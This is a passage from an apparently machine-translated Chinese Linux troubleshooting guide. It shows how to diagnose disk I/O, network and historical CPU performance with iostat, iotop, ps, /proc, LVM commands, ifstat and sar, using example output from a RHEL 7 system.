765.27 769.76 71954.89 78713.17 196.31 64.65 42.25 0.74 83.51 0.43 66.46 - -``` - -从上面,我们可以确定关于这个系统的几个事情。 第一个也是最重要的是 CPU 行中的`%iowait`值。 - -```sh -avg-cpu: %user %nice %system %iowait %steal %idle - 20.22 0.00 20.33 22.14 0.00 37.32 - -``` - -在前面执行 top 命令时,等待 I/O 的时间百分比非常小; 然而,当运行`iostat`时,我们可以看到 cpu 实际上花了很多时间等待 I/O。 虽然 I/O 等待并不一定意味着等待磁盘,但该输出的其余部分似乎表明存在相当多的磁盘活动。 - -```sh -Device: rrqm/s wrqm/s r/s w/s rkB/s wkB/s avgrq-sz avgqu-sz await r_await w_await svctm %util -sda 0.10 13.67 764.97 808.68 71929.34 78534.73 191.23 62.32 39.75 0.74 76.65 0.42 65.91 -dm-0 0.00 0.00 0.00 0.10 0.00 0.40 8.00 0.01 70.00 0.00 70.00 70.00 0.70 -dm-1 0.00 0.00 765.27 769.76 71954.89 78713.17 196.31 64.65 42.25 0.74 83.51 0.43 66.46 - -``` - -扩展的统计数据输出有许多列,为了使这个输出更容易理解,让我们分解这些列告诉我们的内容。 - -* **rrqm/s**:每秒合并排队的读请求数 -* **wrqm/s**:每秒合并并排队的写请求数 -* **r/s**:每秒完成的读请求数 -* **w/s**:每秒完成的写请求数 -* **rkB/s**:每秒读操作数,单位为千字节 -* **wkB/s**:每秒写操作数,单位为千字节 -* **avgr-sz**:向设备发出请求的平均大小(扇区) -* **avgque -sz**:发送到设备的请求的平均队列长度 -* **await**:请求等待被服务的平均时间(以毫秒为单位) -* **r_await**:读请求等待服务的平均时间(以毫秒为单位) -* **w_await**:写请求等待服务的平均时间(以毫秒为单位) -* **svctm**:该字段无效,拟删除; 它不应该被信任或使用 -* **%util**:设备处理 I/O 请求时花费的 CPU 时间百分比。 一个设备最多只能被 100%的利用 - -对于我们的示例,我们将只关注`r/s`、`w/s`、`await`和`%util`值,因为这些值将在保持示例简单的同时告诉我们关于该系统的磁盘利用率的相当多信息。 - -在回顾了`iostat`输出之后,我们可以看到`sda`和`dm-1`器件都有最高的`%util`值,这意味着它们最接近于处于容量状态。 - -```sh -Device: rrqm/s wrqm/s r/s w/s rkB/s wkB/s avgrq-sz avgqu-sz await r_await w_await svctm %util -sda 0.10 13.67 764.97 808.68 71929.34 78534.73 191.23 62.32 39.75 0.74 76.65 0.42 65.91 -dm-1 0.00 0.00 765.27 769.76 71954.89 78713.17 196.31 64.65 42.25 0.74 83.51 0.43 66.46 - -``` - -从这个报告中,我们可以看到,`sda`设备平均每秒完成 764 次读取(`r/s`)和 808 次写入(`w/s`)。 我们还可以确定这些请求平均需要 39 毫秒(等待)才能完成。 虽然这些数字很有趣,但它们并不一定意味着系统处于异常状态。 因为我们不熟悉这个系统,所以我们不一定知道读写的级别是否超出了这个系统的预期。 但是,收集这些信息非常重要,因为这些统计信息是故障排除过程的数据收集阶段的重要数据。 - -从`iostat`中我们可以看到另一个有趣的数据,`sda`和`dm-1`设备的`%util`值都约为 66%。 这意味着在第一次报告生成和第二次报告生成之间的 10 秒内,66%的 CPU 时间花费在等待`sda`或`dm-1`设备上。 - -#### 标识设备 - -磁盘设备的使用率达到 66%通常被认为是很高的,虽然这是非常有用的信息,但它不能告诉我们是谁或什么在使用磁盘。 为了回答这些问题,我们需要弄清楚`sda`和`dm-1`到底是用来做什么的。 - -由于`iostat`命令输出的设备通常是磁盘设备,因此识别这些设备的第一步是运行`mount`命令。 - -```sh -$ mount -proc on /proc type proc (rw,nosuid,nodev,noexec,relatime) -sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime,seclabel) -devtmpfs on /dev type devtmpfs (rw,nosuid,seclabel,size=244828k,nr_inodes=61207,mode=755) -securityfs on /sys/kernel/security type securityfs (rw,nosuid,nodev,noexec,relatime) -tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev,seclabel) -devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,seclabel,gid=5,mode=620,ptmxmode=000) -tmpfs on /run type tmpfs (rw,nosuid,nodev,seclabel,mode=755) -tmpfs on /sys/fs/cgroup type tmpfs (rw,nosuid,nodev,noexec,seclabel,mode=755) -configfs on /sys/kernel/config type configfs (rw,relatime) -/dev/mapper/root on / type xfs (rw,relatime,seclabel,attr2,inode64,noquota) -hugetlbfs on /dev/hugepages type hugetlbfs (rw,relatime,seclabel) -mqueue on /dev/mqueue type mqueue (rw,relatime,seclabel) -debugfs on /sys/kernel/debug type debugfs (rw,relatime) -/dev/sda1 on /boot type xfs (rw,relatime,seclabel,attr2,inode64,noquota) - -``` - -当不带任何选项运行`mount`命令时,将显示当前挂载的所有文件系统。 `mount`输出中的第一列是已安装的设备。 在上面的输出中,我们可以看到`sda`设备实际上是一个磁盘设备,并且它有一个名为`sda1`的分区,该分区被挂载为`/boot`。 - -然而,我们没有看到的是`dm-1`设备。 由于该设备没有以其他方式列在`mount`命令的输出中,我们可以通过查看`/dev`文件夹来识别`dm-1`设备。 - -系统上的所有设备都以`/dev`文件夹结构中的文件形式呈现。 `dm-1`设备也不例外。 - -```sh -$ ls -la /dev/dm-1 -brw-rw----. 1 root disk 253, 1 Feb 1 18:47 /dev/dm-1 - -``` - -虽然我们已经找到了`dm-1`设备的位置,但我们还没有确定它的用途。 然而,这款设备最引人注目的一点是它的名字`dm-1`。 当设备以`dm`开始时,这表明该设备是由设备映射器创建的逻辑设备。 - -设备映射器是一个 Linux 内核框架,它允许系统创建“映射”回物理设备的虚拟磁盘设备。 此功能用于许多特性,包括软件 raid、磁盘加密和逻辑卷。 - -设备映射器框架中的一个常见做法是为这些特性创建符号链接,这些符号链接回单个逻辑设备。 由于通过`ls`命令可以通过第一列的输出(`brw-rw----.`)中的“b”值看到`dm-1`是一个块设备,因此我们知道`dm-1`不是符号链接。 我们可以使用此信息和 find 命令来标识链接回`dm-1`块设备的任何符号链接。 - -```sh -# find -L /dev -samefile /dev/dm-1 -/dev/dm-1 -/dev/rhel/root -/dev/disk/by-uuid/beb5220d-5cab-4c43-85d7-8045f870ba7d -/dev/disk/by-id/dm-uuid-LVM-qj3iMeektIlL3Z0g4WMPMJRbzacnpS9IVOCzB60GSHCEgbRKYW9ZKXR5prUPEE1e -/dev/disk/by-id/dm-name-root -/dev/block/253:1 -/dev/mapper/root - -``` - -在前面的章节中,我们使用 find 命令来标识配置文件和日志文件。 在上面的示例中,我们使用`-L`(链接)国旗,紧随其后的是`/dev`路径和`--samefile`国旗告诉找到搜索`/dev`文件夹结构,搜索任何文件的符号链接文件夹来识别“相同的文件”`/dev/dm-1`。 - -`--samefile`标志标识具有相同`inode`编号的文件。 当`-L`标志包含在命令中时,输出包含符号链接,并且这个示例似乎已经返回了几个结果。 最突出的符号链接文件是`/dev/mapper/root`; 这个文件突出的原因是它也出现在 mount 命令的输出中。 - -```sh -/dev/mapper/root on / type xfs (rw,relatime,seclabel,attr2,inode64,noquota) - -``` - -似乎`/dev/mapper/root`是一个逻辑卷。 Linux 中的逻辑卷本质上是存储虚拟化。 该功能允许您创建伪设备(作为设备映射器的一部分),将其映射到一个或多个物理设备。 - -例如,可以使用四个不同的硬盘并将这些硬盘组合成一个逻辑卷。 然后可以将逻辑卷用作单个文件系统的磁盘。 甚至可以使用逻辑卷在稍后的时间添加另一个硬盘。 - -要确认`/dev/mapper/root`设备实际上是一个逻辑卷,可以执行`lvdisplay`命令,该命令用于显示系统上的逻辑卷。 - -```sh -# lvdisplay - --- Logical volume --- - LV Path /dev/rhel/swap - LV Name swap - VG Name rhel - LV UUID y1ICUQ-l3uA-Mxfc-JupS-c6PN-7jvw-W8wMV6 - LV Write Access read/write - LV Creation host, time localhost, 2014-07-21 23:35:55 +0000 - LV Status available - # open 2 - LV Size 1.03 GiB - Current LE 264 - Segments 1 - Allocation inherit - Read ahead sectors auto - - currently set to 256 - Block device 253:0 - - --- Logical volume --- - LV Path /dev/rhel/root - LV Name root - VG Name rhel - LV UUID VOCzB6-0GSH-CEgb-RKYW-9ZKX-R5pr-UPEE1e - LV Write Access read/write - LV Creation host, time localhost, 2014-07-21 23:35:55 +0000 - LV Status available - # open 1 - LV Size 38.48 GiB - Current LE 9850 - Segments 1 - Allocation inherit - Read ahead sectors auto - - currently set to 256 - Block device 253:1 - -``` - -从`lvdisplay`的输出中,我们可以看到一个有趣的路径`/dev/rhel/root`,它也存在于`find`命令的输出中。 让我们看看使用`ls`命令的这个设备。 - -```sh -# ls -la /dev/rhel/root -lrwxrwxrwx. 1 root root 7 Aug 3 16:27 /dev/rhel/root -> ../dm-1 - -``` - -这里,我们可以看到,`/dev/rhel/root`是到`/dev/dm-1`的符号链接; 这证实了`/dev/rhel/root`与`/dev/dm-1`是相同的,并且这些实际上是逻辑卷设备,这意味着它们不是真正的物理设备。 - -要显示这些逻辑卷后面的物理设备,可以使用`pvdisplay`命令。 - -```sh -# pvdisplay - --- Physical volume --- - PV Name /dev/sda2 - VG Name rhel - PV Size 39.51 GiB / not usable 3.00 MiB - Allocatable yes (but full) - PE Size 4.00 MiB - Total PE 10114 - Free PE 0 - Allocated PE 10114 - PV UUID n5xoxm-kvyI-Z7rR-MMcH-1iJI-D68w-NODMaJ - -``` - -我们可以看到从输出的`pvdisplay``dm-1`设备映射到`sda2`,这也解释了为什么磁盘利用率为`dm-1`和`sda`非常接近,任何活动`dm-1`是`sda`执行。 - -### 谁正在给这些设备写信? - -现在我们已经找到了使用 I/O 的地方,我们需要找出谁在使用这个 I/O。 找出哪个进程向磁盘写入最多的最简单方法是使用`iotop`命令。 这个工具是一个相对较新的命令,现在默认包含在 Red Hat Enterprise Linux 7 中。 但是,这个命令在以前的 RHEL 版本中并不总是可用的。 - -在采用`iotop`之前,查找正在使用 I/O 的顶级进程的方法包括使用`ps`命令和查看`/proc`文件系统。 - -#### ps -使用 ps 来识别使用 I/O 的进程 - -在收集与 CPU 相关的数据时,我们在`ps`命令的输出中讨论了 state 字段。 我们没有涉及的是过程可以处于的各种状态。 下面的列表包含了`ps`命令将显示的七种可能的状态: - -* **Uninterruptible sleep**(`D`):进程在等待 I/O 时通常处于睡眠状态 -* **运行或可运行**(`R`):运行队列上的进程 -* **可中断睡眠**(`S`):进程等待事件完成,但不会阻塞 CPU 或 I/O -* **Stopped**(`T`):被作业控制系统(如 jobs 命令)停止的进程 -* **Paging**(`P`):当前正在分页的进程; 然而,这与更新的内核不太相关 -* **Dead**(`X`):死了的进程,这应该不会被看到,因为在运行`ps`时死了的进程不会出现 -* **Defunct**(`Z`):僵尸进程被终止但处于不死状态 - -在调查 I/O 利用率时,重要的是要确定一个列在`D`**Uninterruptible Sleep**中的状态。 由于这些进程通常都在等待 I/O,它们是最有可能过度利用磁盘 I/O 的进程。 - -为此,我们将使用带有`–e`(所有内容)、`-l`(长格式)和`-f`(全格式)标志的`ps`命令。 我们还将再次使用管道将输出重定向到`grep`命令,并过滤输出,只显示具有`D`状态的进程。 - -```sh -# ps -elf | grep " D " -1 D root 13185 2 2 80 0 - 0 get_re 00:21 ? 00:01:32 [kworker/u4:1] -4 D root 15639 15638 30 80 0 - 4233 balanc 01:26 pts/2 00:00:02 bonnie++ -n 0 -u 0 -r 239 -s 478 -f -b -d /tmp - -``` - -通过上面的输出,我们可以看到目前有两个进程处于不可中断的睡眠状态。 一个是`kworker`,是内核系统进程,另一个是`bonnie++`,是根用户启动的进程。 由于`kworker`进程是一个通用的内核进程,我们将首先关注`bonnie++`进程。 - -为了更好地理解这个过程,我们将再次运行`ps`命令,但这一次使用`--forest`选项。 - -```sh -# ps -elf –forest -4 S root 1007 1 0 80 0 - 20739 poll_s Feb07 ? 00:00:00 /usr/sbin/sshd -D -4 S root 11239 1007 0 80 0 - 32881 poll_s Feb08 ? 00:00:00 \_ sshd: vagrant [priv] -5 S vagrant 11242 11239 0 80 0 - 32881 poll_s Feb08 ? 00:00:02 \_ sshd: vagrant@pts/2 -0 S vagrant 11243 11242 0 80 0 - 28838 wait Feb08 pts/2 00:00:01 \_ -bash -4 S root 16052 11243 0 80 0 - 47343 poll_s 01:39 pts/2 00:00:00 \_ sudo bonnie++ -n 0 -u 0 -r 239 -s 478 -f -b -d /tmp -4 S root 16053 16052 32 80 0 - 96398 hrtime 01:39 pts/2 00:00:03 \_ bonnie++ -n 0 -u 0 -r 239 -s 478 -f -b -d /tmp - -``` - -通过查看上面的输出,我们可以看到`bonnie++`进程实际上是`16052`进程的一个子进程,而`16052`进程是`vagrant`用户的 bash shell`11243`的另一个子进程。 - -前面的`ps`命令显示了进程 id 为`16053`的`bonnie++`进程正在等待 I/O 任务。 然而,这并没有告诉我们这个进程使用了多少 I/O; 要确定这一点,我们可以在`/proc`文件系统中读取一个名为`io`的特殊文件。 - -```sh -# cat /proc/16053/io -rchar: 1002448848 -wchar: 1002438751 -syscr: 122383 -syscw: 122375 -read_bytes: 1002704896 -write_bytes: 1002438656 -cancelled_write_bytes: 0 - -``` - -每个正在运行的进程在`/proc`中都有一个与进程`id`同名的子文件夹; 对于我们的例子,这是`/proc/16053`。 这个文件夹由内核为每个正在运行的进程维护,在这些文件夹中存在许多文件,其中包含有关正在运行的进程的信息。 - -这些文件非常有用,它们实际上是`ps`命令信息的来源。 其中一个有用的文件名为`io`; `io`文件包含进程的读写次数统计信息。 - -从 cat 命令的输出中,我们可以看到这个进程已经读写了大约 1gb 的数据。 虽然这看起来很多,但可能需要很长一段时间。 为了了解这个进程正在向磁盘写入多少内容,我们可以再次读取这个文件以捕获差异。 - -```sh -# cat /proc/16053/io -cat: /proc/16053/io: No such file or directory - -``` - -然而,似乎当我们第二次执行 cat 命令时,我们收到一个错误,即`io`文件不再存在。 如果我们再次运行`ps`命令并使用`grep`来搜索 bonnie++进程的输出,我们可以看到一个`bonnie++`进程正在运行; 然而,它是一个新工艺加上一个新工艺`ID`。 - -```sh -# ps -elf | grep bonnie -4 S root 17891 11243 0 80 0 - 47343 poll_s 02:34 pts/2 00:00:00 sudo bonnie++ -n 0 -u 0 -r 239 -s 478 -f -b -d /tmp -4 D root 17892 17891 33 80 0 - 4233 sleep_ 02:34 pts/2 00:00:02 bonnie++ -n 0 -u 0 -r 239 -s 478 -f -b -d /tmp - -``` - -由于子进程`bonnie++`似乎是短暂的进程,通过读取`io`文件来跟踪 I/O 统计信息可能相当困难。 - -### iotop -一个类似于 top 的磁盘 i/o 命令 - -由于这些进程的启动和停止非常频繁,我们可以使用`iotop`命令来确定哪些进程使用 I/O 最多。 - -```sh -# iotop -Total DISK READ : 102.60 M/s | Total DISK WRITE : 26.96 M/s -Actual DISK READ: 102.60 M/s | Actual DISK WRITE: 42.04 M/s - TID PRIO USER DISK READ DISK WRITE SWAPIN IO> COMMAND -16395 be/4 root 0.00 B/s 0.00 B/s 0.00 % 45.59 % [kworker/u4:0] -18250 be/4 root 101.95 M/s 26.96 M/s 0.00 % 42.59 % bonnie++ -n 0 -u 0 -r 239 -s 478 -f -b -d /tmp - -``` - -在前面来自`iotop`的输出中,我们可以看到一些有趣的 I/O 统计信息。 使用`iotop`,我们不仅可以看到系统范围的统计信息,如**总磁盘读取次数**每秒和**总磁盘写入次数**每秒,还可以看到单个进程的相当多的统计信息。 - -从每个进程的角度来看,我们可以看到`bonnie++`进程正以 101.96 MBps 的速率从磁盘读取数据,并以 26.96 MBps 的速率写入磁盘。 - -```sh -16395 be/4 root 0.00 B/s 0.00 B/s 0.00 % 45.59 % [kworker/u4:0] -18250 be/4 root 101.95 M/s 26.96 M/s 0.00 % 42.59 % bonnie++ -n 0 -u 0 -r 239 -s 478 -f -b -d /tmp - -``` - -`iotop`命令与 top 命令非常相似,因为它将每隔几秒刷新报告的结果。 这具有“实时”显示 I/O 统计数据的效果。 - -### 提示 - -像`top`和`iotop`这样的命令很难以书本格式显示。 我强烈建议在拥有这些命令的系统上执行这些命令,以了解它们是如何工作的。 - -### 把它们放在一起 - -既然我们已经介绍了一些用于诊断磁盘性能和利用率的工具,那么在诊断报告的慢速时,让我们把它们放在一起。 - -#### 使用 iostat 来确定是否存在 I/O 带宽问题 - -我们将运行的第一个命令是`iostat`,因为这将首先为我们验证是否实际上存在问题。 - -```sh -# iostat -x 10 3 -Linux 3.10.0-123.el7.x86_64 (blog.example.com) 02/09/2015 _x86_64_ (2 CPU) - -avg-cpu: %user %nice %system %iowait %steal %idle - 38.58 0.00 3.22 5.46 0.00 52.75 - -Device: rrqm/s wrqm/s r/s w/s rkB/s wkB/s avgrq-sz avgqu-sz await r_await w_await svctm %util -sda 10.86 4.25 122.46 118.15 11968.97 12065.60 199.78 13.27 55.18 0.67 111.67 0.51 12.21 -dm-0 0.00 0.00 14.03 3.44 56.14 13.74 8.00 0.42 24.24 0.51 121.15 0.46 0.80 -dm-1 0.00 0.00 119.32 112.35 11912.79 12051.98 206.89 13.52 58.33 0.68 119.55 0.52 12.16 - -avg-cpu: %user %nice %system %iowait %steal %idle - 7.96 0.00 14.60 29.31 0.00 48.12 - -Device: rrqm/s wrqm/s r/s w/s rkB/s wkB/s avgrq-sz avgqu-sz await r_await w_await svctm %util -sda 0.70 0.80 804.49 776.85 79041.12 76999.20 197.35 64.26 41.41 0.54 83.73 0.42 66.38 -dm-0 0.00 0.00 0.90 0.80 3.59 3.19 8.00 0.08 50.00 0.00 106.25 19.00 3.22 -dm-1 0.00 0.00 804.29 726.35 79037.52 76893.81 203.75 64.68 43.03 0.53 90.08 0.44 66.75 - -avg-cpu: %user %nice %system %iowait %steal %idle - 5.22 0.00 11.21 36.21 0.00 47.36 - -Device: rrqm/s wrqm/s r/s w/s rkB/s wkB/s avgrq-sz avgqu-sz await r_await w_await svctm %util -sda 1.10 0.30 749.40 429.70 84589.20 43619.80 217.47 76.31 66.49 0.43 181.69 0.58 68.32 -dm-0 0.00 0.00 1.30 0.10 5.20 0.40 8.00 0.00 2.21 1.00 18.00 1.43 0.20 -dm-1 0.00 0.00 749.00 391.20 84558.40 41891.80 221.80 76.85 69.23 0.43 200.95 0.60 68.97 - -``` - -从`iostat`的输出可以得出以下结论: - -* 该系统的 CPU 目前花费了相当多的时间等待 I/O,占 30%-40% -* 看起来,`dm-1`和`sda`设备是使用最多的设备 -* 从`iostat`来看,这些设备的利用率为 68%,这个数字似乎相当高 - -根据这些数据点,我们可以确定存在一个潜在的 I/O 利用率问题,除非预期利用率为 68%。 - -#### 使用 iotop 来确定哪些进程正在消耗磁盘带宽 - -现在我们已经确定了相当多的 CPU 时间都花在了等待 I/O 上,现在我们应该关注哪些进程最频繁地使用磁盘。 为此,我们将使用`iotop`命令。 - -```sh -# iotop -Total DISK READ : 100.64 M/s | Total DISK WRITE : 23.91 M/s -Actual DISK READ: 100.67 M/s | Actual DISK WRITE: 38.04 M/s - TID PRIO USER DISK READ DISK WRITE SWAPIN IO> COMMAND -19358 be/4 root 0.00 B/s 0.00 B/s 0.00 % 40.38 % [kworker/u4:1] -20262 be/4 root 100.35 M/s 23.91 M/s 0.00 % 33.65 % bonnie++ -n 0 -u 0 -r 239 -s 478 -f -b -d /tmp - 363 be/4 root 0.00 B/s 0.00 B/s 0.00 % 2.51 % [xfsaild/dm-1] - 32 be/4 root 0.00 B/s 0.00 B/s 0.00 % 1.74 % [kswapd0] - -``` - -从`iotop`命令中,我们可以看到正在运行`bonnie++`命令的进程`20262`具有较高的利用率和较大的磁盘读写值。 - -从`iotop`可以确定: - -* 系统的总磁盘每秒读是 100.64 MBps -* 系统的总磁盘每秒写入是 23.91 MBps -* 运行`bonnie++`命令的进程`20262`正在读取 100.35 MBps,写入 23.91 MBps -* 比较总数,我们发现进程`20262`是磁盘读写的主要贡献者 - -综上所述,我们似乎需要识别更多关于过程`20262`的信息。 - -#### 使用 ps 来更多地了解进程 - -现在我们已经确定了使用大量 I/O 的进程,我们可以使用`ps`命令研究该进程的详细信息。 我们将再次使用带有`--forest`标志的`ps`命令来显示父进程和子进程的关系。 - -```sh -# ps -elf --forest -1007 0 80 0 - 32881 poll_s Feb08 ? 00:00:00 \_ sshd: vagrant [priv] -5 S vagrant 11242 11239 0 80 0 - 32881 poll_s Feb08 ? 00:00:05 \_ sshd: vagrant@pts/2 -0 S vagrant 11243 11242 0 80 0 - 28838 wait Feb08 pts/2 00:00:02 \_ -bash -4 S root 20753 11243 0 80 0 - 47343 poll_s 03:52 pts/2 00:00:00 \_ sudo bonnie++ -n 0 -u 0 -r 239 -s 478 -f -b -d /tmp -4 D root 20754 20753 52 80 0 - 4233 sleep_ 03:52 pts/2 00:00:01 \_ bonnie++ -n 0 -u 0 -r 239 -s 478 -f -b -d /tmp - -``` - -使用`ps`命令,我们可以确定以下内容: - -* 与`iotop`鉴定的`bonnie++`过程`20262`缺失; 然而,还存在其他`bonnie++`进程 -* 日志含义`vagrant`用户通过`sudo`命令启动了父`bonnie++`进程 -* `vagrant`用户与前面在 CPU 和内存部分讨论的观察结果中的用户相同 - -从上面的细节可以看出,流浪用户很可能是性能问题的罪魁祸首。 - -## 网络 - -解决性能问题的最后一个共同资源是网络。 有很多工具可以解决网络问题; 然而,这些命令中很少有专门针对网络性能的。 这些工具中的大多数设计用于深入的网络故障排除。 - -由于[第 5 章](05.html#UGI01-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 5. Network Troubleshooting")、*网络故障排除*专门用于故障排除网络问题,因此本节将特别关注性能。 - -### ifstat -查看接口统计信息 - -当涉及到网络时,大约有四个指标可以用来度量吞吐量。 - -* **Received Packets**:接口接收到的报文数 -* **Sent Packets**:接口发送的报文数 -* **Received Data**:接口接收的数据量 -* **Sent Data**:接口发送的数据量 - -有许多命令可以提供这些指标,从`ifconfig`或`ip`到`netstat`。 专门输出这些度量的非常有用的实用程序是`ifstat`命令。 - -```sh -# ifstat -#21506.1804289383 sampling_interval=5 time_const=60 -Interface RX Pkts/Rate TX Pkts/Rate RX Data/Rate TX Data/Rate - RX Errs/Drop TX Errs/Drop RX Over/Rate TX Coll/Rate -lo 47 0 47 0 4560 0 4560 0 - 0 0 0 0 0 0 0 0 -enp0s3 70579 1 50636 0 17797K 65 5520K 96 - 0 0 0 0 0 0 0 0 -enp0s8 23034 0 43 0 2951K 18 7035 0 - 0 0 0 0 0 0 0 0 - -``` - -与`vmstat`或`iostat`非常相似,`ifstat`生成的第一个报告基于自服务器上次重新启动以来的统计数据。 这意味着上面的报告表明`enp0s3`接口自上次重启以来已经收到 70,579 个数据包。 - -当第二次执行`ifstat`时,结果将显示与第一次报告的差异非常大。 原因是第二次报告是基于第一次报告之后的时间。 - -```sh -# ifstat -#21506.1804289383 sampling_interval=5 time_const=60 -Interface RX Pkts/Rate TX Pkts/Rate RX Data/Rate TX Data/Rate - RX Errs/Drop TX Errs/Drop RX Over/Rate TX Coll/Rate -lo 0 0 0 0 0 0 0 0 - 0 0 0 0 0 0 0 0 -enp0s3 23 0 18 0 1530 59 1780 80 - 0 0 0 0 0 0 0 0 -enp0s8 1 0 0 0 86 10 0 0 - 0 0 0 0 0 0 0 0 - -``` - -在上面的例子中,我们可以看到我们的系统通过`enp0s3`接口接收了 23 个数据包(RX Pkts),并传输了 18 个数据包(`TX Pkts`)。 - -通过`ifstat`命令,我们可以确定以下关于系统的信息: - -* 目前的网络利用率相当小,不太可能对整个系统造成影响 -* 前面显示的来自`vagrant`用户的进程不太可能占用大量的网络资源 - -根据通过`ifstat`看到的统计数据,该系统上的网络流量最小,不太可能导致所感知的慢速。 - -## 快速回顾一下我们已经确定的内容 - -在深入讨论之前,让我们回顾一下我们从迄今为止收集到的性能统计信息中了解到的内容: - -### 注意事项 - -`vagrant`用户已经启动运行`bonnie++`和`lookbusy`应用的进程。 - -`lookbusy`应用似乎占用了整个系统 CPU 的 20%-30%。 - -该服务器有两个 CPU,而`lookbusy`似乎始终使用大约 60%的 CPU。 - -`lookbusy`应用似乎也一直使用大约 200 MB 的内存; 然而,在故障排除期间,我们确实看到这些进程使用了几乎所有的系统内存,导致系统交换。 - -当`vagrant`用户启动`bonnie++`进程时,系统正在经历一个高 I/O 等待时间。 - -在运行时,`bonnie++`进程占用了大约 60%-70%的磁盘吞吐量。 - -由`vagrant`用户执行的活动似乎对网络利用率几乎没有影响。 - -# 比较历史指标 - -看着所有的事实,我们学过这个系统到目前为止,似乎我们的下一个最佳行动将推荐联系`vagrant`用户确定是否`lookbusy`和`bonnie++`应用应该使用如此高的资源利用率。 - -虽然前面的观察结果显示了较高的资源利用率,但在此环境中可能会出现这种水平的利用率。 在开始联系用户之前,我们应该首先查看该服务器的历史性能指标。 在大多数环境中,都存在某种类型的服务器性能监视软件,如 Munin、Cacti 或许多云 SaaS 提供商中的一个,它们收集和存储系统统计信息。 - -如果您的环境利用了其中的一个服务,那么您可以使用收集到的性能数据将以前的性能统计数据与我们刚刚收集到的信息进行比较。 例如,如果在过去 30 天内,CPU 性能从未高于 10%,那么`lookbusy`进程可能在那个时候没有运行,这是有道理的。 - -即使您的环境没有使用这些工具之一,您仍然可以执行历史比较。 为此,我们将使用在大多数 Red Hat Enterprise Linux 系统上默认安装的工具; 这个工具叫做`sar`。 - -## sar - System 活动报告 - -在第二章、*故障诊断命令和有用信息来源*中,我们简要讨论了`sar`命令的用法,以查看历史性能统计数据。 - -当安装部署`sar`实用程序的`sysstat`包时,它将部署`/etc/cron.d/sysstat`文件。 在这个文件中有两个运行`sysstat`命令的作业,其唯一目的是收集系统性能统计数据和生成收集信息的报告。 - -```sh -$ cat /etc/cron.d/sysstat -# Run system activity accounting tool every 10 minutes -*/2 * * * * root /usr/lib64/sa/sa1 1 1 -# 0 * * * * root /usr/lib64/sa/sa1 600 6 & -# Generate a daily summary of process accounting at 23:53 -53 23 * * * root /usr/lib64/sa/sa2 -A - -``` - -执行这些命令后,收集到的信息保存在“`/var/log/sa/`”文件夹中。 - -```sh -# ls -la /var/log/sa/ -total 1280 -drwxr-xr-x. 2 root root 4096 Feb 9 00:00 . -drwxr-xr-x. 9 root root 4096 Feb 9 03:17 .. --rw-r--r--. 1 root root 68508 Feb 1 23:20 sa01 --rw-r--r--. 1 root root 40180 Feb 2 16:00 sa02 --rw-r--r--. 1 root root 28868 Feb 3 05:30 sa03 --rw-r--r--. 1 root root 91084 Feb 4 20:00 sa04 --rw-r--r--. 1 root root 57148 Feb 5 23:50 sa05 --rw-r--r--. 1 root root 34524 Feb 6 23:50 sa06 --rw-r--r--. 1 root root 105224 Feb 7 23:50 sa07 --rw-r--r--. 1 root root 235312 Feb 8 23:50 sa08 --rw-r--r--. 1 root root 105224 Feb 9 06:00 sa09 --rw-r--r--. 1 root root 56616 Jan 23 23:00 sa23 --rw-r--r--. 1 root root 56616 Jan 24 20:10 sa24 --rw-r--r--. 1 root root 24648 Jan 30 23:30 sa30 --rw-r--r--. 1 root root 11948 Jan 31 23:20 sa31 --rw-r--r--. 1 root root 44476 Feb 5 23:53 sar05 --rw-r--r--. 1 root root 27244 Feb 6 23:53 sar06 --rw-r--r--. 1 root root 81094 Feb 7 23:53 sar07 --rw-r--r--. 1 root root 180299 Feb 8 23:53 sar08 - -``` - -`sysstat`包生成的数据文件使用“`sa`”格式的文件名。 例如,在上面的输出中,我们可以看到“`sa24`”文件是在 1 月 24 日生成的。 我们也可以看到这个系统有 1 月 23 日到 2 月 9 日的文件。 - -`sar`命令允许我们读取这些捕获的性能指标。 本节将向您展示如何使用`sar`命令查看与前面通过`iostat`、`top`和`vmstat`等命令查看相同的统计信息。 然而,这一次,`sar`命令将提供最近和历史信息。 - -### CPU - -要使用`sar`命令查看 CPU 统计信息,我们可以简单地使用`–u`(CPU 利用率)标志。 - -```sh -# sar -u -Linux 3.10.0-123.el7.x86_64 (blog.example.com) 02/09/2015 _x86_64_ (2 CPU) - -12:00:01 AM CPU %user %nice %system %iowait %steal %idle -12:10:02 AM all 7.42 0.00 13.46 37.51 0.00 41.61 -12:20:01 AM all 7.59 0.00 13.61 38.55 0.00 40.25 -12:30:01 AM all 7.44 0.00 13.46 38.50 0.00 40.60 -12:40:02 AM all 8.62 0.00 15.71 31.42 0.00 44.24 -12:50:02 AM all 8.77 0.00 16.13 29.66 0.00 45.44 -01:00:01 AM all 8.88 0.00 16.20 29.43 0.00 45.49 -01:10:01 AM all 7.46 0.00 13.64 37.29 0.00 41.61 -01:20:02 AM all 7.35 0.00 13.52 37.79 0.00 41.34 -01:30:01 AM all 7.40 0.00 13.36 38.60 0.00 40.64 -01:40:01 AM all 7.42 0.00 13.53 37.86 0.00 41.19 -01:50:01 AM all 7.44 0.00 13.58 38.38 0.00 40.60 -04:20:02 AM all 7.51 0.00 13.72 37.56 0.00 41.22 -04:30:01 AM all 7.34 0.00 13.36 38.56 0.00 40.74 -04:40:02 AM all 7.40 0.00 13.41 37.94 0.00 41.25 -04:50:01 AM all 7.45 0.00 13.81 37.73 0.00 41.01 -05:00:02 AM all 7.49 0.00 13.75 37.72 0.00 41.04 -05:10:01 AM all 7.43 0.00 13.30 39.28 0.00 39.99 -05:20:02 AM all 7.24 0.00 13.17 38.52 0.00 41.07 -05:30:02 AM all 13.47 0.00 11.10 31.12 0.00 44.30 -05:40:01 AM all 67.05 0.00 1.92 0.00 0.00 31.03 -05:50:01 AM all 68.32 0.00 1.85 0.00 0.00 29.82 -06:00:01 AM all 69.36 0.00 1.76 0.01 0.00 28.88 -06:10:01 AM all 70.53 0.00 1.71 0.01 0.00 27.76 -Average: all 14.43 0.00 12.36 33.14 0.00 40.07 - -``` - -如果我们查看上面的头信息,我们可以看到带有`-u`标志的`sar`命令与`iostat`和顶级 CPU 细节相匹配。 - -```sh -12:00:01 AM CPU %user %nice %system %iowait %steal %idle - -``` - -从`sar -u`输出中,我们可以发现一个有趣的趋势:从 00:00 到 05:30,有一个固定的 CPU I/O 等待时间为 30%-40%。 但是,在 05:40 时,I/O 